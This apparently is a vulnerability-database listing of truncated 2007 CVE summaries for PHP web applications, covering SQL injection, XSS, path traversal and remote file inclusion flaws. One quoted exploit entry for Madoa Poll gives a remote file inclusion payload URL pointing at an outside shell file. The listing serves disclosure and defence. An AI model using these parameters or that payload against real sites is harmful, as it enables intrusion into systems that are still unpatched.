CVE-2007-4128: Undefined Security Weakness

SQL injection vulnerability in index.php in the Firestorm Technologies GMaps comgmaps 1.00 component for Joomla! allows remote attackers to execute arbitrary SQL commands via the mapId parameter in a viewmap action...

PT-2007-5319 · Php · Phpwebfilemanager

Name of the Vulnerable Software and Affected Versions: phpWebFileManager version 0.5 Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the PN PathPrefix parameter in the index.php file. However, this issue is disputed by a reliable third party, who...

CVE-2007-4117: Undefined Security Weakness

PHP remote file inclusion vulnerability in index.php in phpWebFileManager 0.5 allows remote attackers to execute arbitrary PHP code via a URL in the PNPathPrefix parameter. NOTE: this issue is disputed by a reliable third party, who demonstrates that PNPathPrefix is defined before use...

CVE-2007-4101: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in Madoa Poll 1.1 allow remote attackers to execute arbitrary PHP code via the Madoa parameter to 1 index.php, 2 vote.php, and 3 admin.php...

Madoa Poll v1.1 Remote File Include Vulnerabilities

Madoa Poll v1.1 Remote File Include Vulnerabilities ilker kandemir ilkerkandemiratmynet.com info: / Her$ey Vatan icin / Download: http://www.finnermark.se/madoa/Madoapoll11.zip TnX.: Ajann, Dumenci, H0tTurk, Str0ke Bug: require $Madoa . "config.php"; Exploit: index.php?Madoa=http://sheel.txt?...

woliocms-sql.txt

wolioCMS - SQL Injection and Bypass Administrator Login Vendor : http://www.buton.web.id/member.php?member=anon Download : http://www.buton.web.id/download/woliocms.zip Found By : k1tk4t - k1tk4t4tnewhack.org Location : Indonesia -- newhackdotorg @irc.dal.net Exploit ini berhasil jika...

Sql injection

Multiple SQL injection vulnerabilities in AlstraSoft Affiliate Network Pro allow remote attackers to execute arbitrary SQL commands via 1 the pgmid parameter in an uploadProducts action to merchants/index.php and possibly 2 the rowid parameter to merchants/temp.php...

Design/Logic Flaw

Webbler CMS before 3.1.6 provides the full installation path within HTML comments in certain documents, which allows remote attackers to obtain sensitive information by viewing the HTML source, as demonstrated by viewing the source generated from index.php...

CVE-2007-4071: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in uploader/index.php in Webbler CMS before 3.1.6 allow remote attackers to inject arbitrary web script or HTML via the 1 page or 2 login parameter...

CVE-2007-4092: Undefined Security Weakness

Directory traversal vulnerability in index.php in iFoto 1.0.1 and earlier allows remote attackers to list arbitrary directories, and possibly download arbitrary photos, via a .. dot dot in the dir parameter...

CVE-2007-4081: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in AlstraSoft Affiliate Network Pro allow remote attackers to inject arbitrary web script or HTML via vectors in a merchants/index.php, including the 1 id or 2 msg parameter in a programedit action; the 3 pgmid parameter in an uploadProducts actio...

CVE-2007-4080: Undefined Security Weakness

Cross-site scripting XSS vulnerability in index.php AlstraSoft E-Friends allows remote attackers to inject arbitrary web script or HTML via the pid parameter in a peoplecard action. NOTE: this might overlap CVE-2006-2564...

CVE-2007-4048: Undefined Security Weakness

Cross-site scripting XSS vulnerability in index.php in phpSysInfo 2.5.4-dev and earlier allows remote attackers to inject arbitrary web script or HTML via the PATHINFO...

CVE-2007-4046

SQL injection vulnerability in index.php in the Pony Gallery componygallery 1.5 and earlier component for Joomla! allows remote attackers to execute arbitrary SQL commands via the catid parameter...

CVE-2007-4046

CVE-2007-4046 is a SQL injection vulnerability in the Pony Gallery (com_ponygallery) for Joomla! 1.5 and earlier, exploitable via the catid parameter in index.php. Remote attackers could execute arbitrary SQL commands. Documents confirm affected software and an exploit/disclosure trail (e.g., exp...

CVE-2007-4046: Undefined Security Weakness

SQL injection vulnerability in index.php in the Pony Gallery componygallery 1.5 and earlier component for Joomla! allows remote attackers to execute arbitrary SQL commands via the catid parameter...

CVE-2007-4028

Absolute path traversal vulnerability in index.php in Webspell 4.01.02 allows remote attackers to include and execute arbitrary local files via a full pathname in the site parameter. NOTE: some of these details are obtained from third party information...

CVE-2007-4028

CVE-2007-4028 affects Webspell 4.01.02. A vulnerability in index.php allows absolute path traversal, enabling remote attackers to include and execute arbitrary local files via a full pathname in the site parameter. CVSS v2 base score 7.5 (HIGH): Network vector, no authentication, low attack compl...

CVE-2007-4028: Undefined Security Weakness

Absolute path traversal vulnerability in index.php in Webspell 4.01.02 allows remote attackers to include and execute arbitrary local files via a full pathname in the site parameter. NOTE: some of these details are obtained from third party information...

CVE-2007-4014: Undefined Security Weakness

Cross-site scripting XSS vulnerability in a certain index.php installation script related to the 1 Blix 0.9.1, 2 Blixed 1.0, and 3 BlixKrieg Blix Krieg 2.2 themes for WordPress allows remote attackers to inject arbitrary web script or HTML via the s parameter, possibly a related issue to...